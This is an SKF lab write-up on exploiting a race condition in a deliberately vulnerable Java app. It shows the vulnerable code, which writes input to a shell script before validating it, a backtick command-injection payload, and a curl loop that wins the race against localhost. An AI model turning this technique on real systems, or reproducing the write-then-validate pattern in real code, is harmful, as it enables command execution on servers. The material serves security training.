Java - Race Condition - SKF write-ups

Running the app Java
First make sure java is installed on your host machine. After installation, we go to the folder of the lab we want to practice. "i.e /skf-labs/XSS, /skf-labs/RFI/" and run the following command:
1
$ ./mvnw spring-boot:run
Copied!
Now that the app is running let's go hacking!
Reconnaissance
Step1
Congratulations, you won the race
All you need to do now is to add your name to the board and get your price.
The application shows an input box, where you can insert your username and go to the next screen, clicking "Make it mine".
The application verifies whether the username contains special characaters such as " and \ and erases them. It also applies strict filtering on the text using the following regex:
[A-Za-z0-9 ]*
If the username is correct, clicking Boot will put us on the score board. Yeah!!
Step 2
This application suffers from a race condition vulnerability, but how can we identify it?
If we look at the code we see that there are 4 functions being used:
1.bootValidate(person)
the function receives the username in input and executes the following:
deletes " and \ from the username
opens hello.sh file
writes a command in it
closes the file
logs some useful info
checks if the username is in the format [A-Za-z0-9 ]*
returns the username if the regex succedes
2.bootClean() that removes all the hello files (hello.sh and hello.txt)
3.bootRun() executes the hello.sh file
4.bootReset() resets the system to the default settings
Step 3
If we intercept the traffic generate by the app we see that:
a GET request is issued to validate the username and call bootValidate(person)
1
GET /?person=test&action=validate
Copied!
clicking boot, will generate the request to execute the bootRun() function
1
GET /?action=run HTTP/1.1
Copied!
The logic behind the application is in the function start(). If the action is not validate or reset, the application runs bootRun() executing the hello.sh file.
We also notice that the function bootValidate(person) first inserts the command in the hello.sh and then validates the input, returning if it is valid or not.
1
public String bootValidate(String person) {
2
    try (FileWriter writer = new FileWriter("hello.sh", false)) {
3
      writer.write("echo \"" + person + "\" > hello.txt");
4
      writer.close();
5
      java.util.Date date = new java.util.Date();
6
      new ProcessBuilder("/bin/bash", "-c", "echo 'hello.sh updated -- " + date + "' > log.txt").start();
7
      new ProcessBuilder("/bin/bash", "-c", "echo 'hello.sh cleaned -- " + date + "' >> log.txt").start();
8
      Process p3 = new ProcessBuilder("/bin/bash", "-c", "sed -n '/^echo \"[A-Za-z0-9 ]*\" > hello.txt$/p' hello.sh")
9
          .start();
10
      BufferedReader reader = new BufferedReader(new java.io.InputStreamReader(p3.getInputStream()));
11
      String valid = reader.readLine();
12
      System.out.println(valid);
13
      return valid == null ? "" : valid;
14
    } catch (Exception e) {
15
      e.printStackTrace();
16
    }
17
    return "";
18
  }
Copied!
Everything works fine, so where is the problem?
The problem is that in this case, we have a very small window to execute the bootRun() function after the input is written in hello.sh and just before return valid is called. Again, there is a possibility to have a race condition only if the following steps are executed in this order:
1.pass our malicious payload to bootValidate
2.write the malicious payload in hello.sh
3.call bootRun()
4.return valid is called
Exploitation
Before we can exploit the race condition, we need a good payload that will execute the command for us. We know that the double quotes and the backslash cannot be used to break the command, but we also know that using '`' backtick.
So our payload will be:
1
`id`
Copied!
in order to execute the command id on the target system.
Now we can exploit this sequence to achieve a command injection. In order to do that we must send requests with high frequency.
Doing it manually is practically impossible, so we create a script that does that for us:
1
#!/bin/bash
2
while true; do
3
​
4
	curl -i -s -k  -X #x27;GET' \
5
	    -H #x27;Host: localhost:5000' -H #x27;User-Agent: Semen Rozhkov exploiter v1.0' -H #x27;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H #x27;Accept-Language: en-US,en;q=0.5' -H #x27;Accept-Encoding: gzip, deflate ' -H #x27;Connection: close' -H #x27;Upgrade-Insecure-Requests: 1' \
6
	    #x27;http://localhost:5000/?action=run' | grep "Check this out"
7
done
Copied!
and in the meantime we send the other request from the browser like
1
http://localhost:5000/?person=Default+User`id`&action=validate
Copied!
If we look in the logs we will see:
Congratulations, you won the race for real now!!!!!!!!
Additional sources
https://wiki.owasp.org/index.php/Testing_for_Race_Conditions_(OWASP-AT-010)
wiki.owasp.org

NodeJS - Race Condition

Race Condition File-Write

Last modified 2mo ago

Export as PDF

Copy link

Edit on GitHub

Contents